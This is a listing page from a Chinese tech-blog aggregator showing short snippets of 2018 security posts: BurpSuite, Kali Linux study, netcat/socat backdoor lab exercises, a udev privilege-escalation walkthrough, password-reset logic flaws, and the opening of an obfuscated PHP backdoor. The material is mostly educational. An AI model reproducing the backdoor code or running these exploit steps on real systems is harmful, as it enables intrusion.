转载之【安全客】https://www.anquanke.com/post/id/85925 在Web渗透测试过程中，BurpSuite是不可或缺的神器之一。BurpSuite的核心是代理Proxy，通常情况下使用BurpSuite的套路是：浏览器设置BurpSuite代理——>访问Web应用程序— ...
分类：
其他好文 时间：
2018-04-06 15:27:05
阅读次数：
234
0005系统学习kailiLinux的方法要想系统的学习kaliLinux，必须有一个系统的大纲，其次要有一个高效的学习方法。具体该怎么做呢？首先得有一个明确的目标（你想系统学习kaliLinux，那么到底要达到什么样的学习效果？会渗透测试？还是会用kaliLinux的600多个工具，还是对kaliLinux这个系统有个全面的了解和认识？），只有目标明确了才能有一个明确的学习路线；其次，有了明确的
分类：
系统相关 时间：
2018-04-06 12:23:49
阅读次数：
218
代码解密：https://malwaredecoder.com/result/fc0d676e44b62985879f8f61a598df7a 一段后门代码：<?php ${"\x47\x4c\x4fB\x41LS"}["s\x70\x72\x62\x77l\x6fi"]="\x6f\x75t_\x64\x61\x74\x61";$
分类：
其他好文 时间：
2018-04-05 11:53:40
阅读次数：
301
转载：http://www.gameres.com/774540.html 农药自从上线以来，依靠着强大的产品力以及腾讯的运营能力，在游戏市场上表现可谓是风生水起，根据第三方的调研数据显示，《王者荣耀》渗透率达到22.3%，用户规模达到2.01亿人，每日的日活跃用户（DAU）均值为5412.8万人。 ...
分类：
其他好文 时间：
2018-04-04 23:21:03
阅读次数：
257
20155235 《网络攻防》 实验二 后门原理与实践 实验目的 建立一个后门连接是如此的简单，功能又如此强大。通过亲手实践并了解这一事实，从而提高自己的安全意识 。 实验内容 (1)使用netcat获取主机操作Shell，cron启动 (2)使用socat获取主机操作Shell, 任务计划启动 ( ...
分类：
其他好文 时间：
2018-04-03 22:17:11
阅读次数：
192
在“漏洞界”，据称有两种大山是其他软件永远无法匹敌的，一个是Microsoft的Office套件，一个是Adobe的全家桶。这两家出的漏洞，无论在出洞频率、攻击危害性、或者是影响范围等多个维度来看，都直接将其他软件远远甩开。如果要较真起来，到底谁是“漏洞之王”？
分类：
其他好文 时间：
2018-04-03 12:53:10
阅读次数：
878
1.下载攻击脚本 2.获得udev进程号 3.获得udev进程号，然后将此数字减1作为exploit-udev-8478的参数,执行脚本 4.输入id进行验证 多次实验仍未成功，大佬看到求指点，应该是我的linux版本问题把 ...
分类：
系统相关 时间：
2018-04-02 20:19:57
阅读次数：
265
在逻辑漏洞中，任意用户密码重置最为常见，可能出现在新用户注册页面，也可能是用户登录后重置密码的页面，或者用户忘记密码时的密码找回页面，其中，密码找回功能是重灾区。我把日常渗透过程中遇到的案例作了漏洞成因分析，这次，关注因重置凭证接收端可篡改导致的任意用户密码重置问题。 密码找回逻辑含有用户标识（用户 ...
分类：
其他好文 时间：
2018-04-02 11:15:22
阅读次数：
233
在逻辑漏洞中，任意用户密码重置最为常见，可能出现在新用户注册页面，也可能是用户登录后重置密码的页面，或者用户忘记密码时的密码找回页面，其中，密码找回功能是重灾区。我把日常渗透过程中遇到的案例作了漏洞成因分析，这次，关注因重置凭证可暴破导致的任意用户密码重置问题。 传送门： 任意用户密码重置（一）：重 ...
分类：
其他好文 时间：
2018-04-02 11:12:33
阅读次数：
183
在逻辑漏洞中，任意用户密码重置最为常见，可能出现在新用户注册页面，也可能是用户登录后重置密码的页面，或者用户忘记密码时的密码找回页面，其中，密码找回功能是重灾区。我把日常渗透过程中遇到的案例作了漏洞成因分析，这次，关注因重置凭证未校验导致的任意用户密码重置问题。 传送门： 任意用户密码重置（一）：重 ...
分类：
其他好文 时间：
2018-04-02 11:09:51
阅读次数：
239
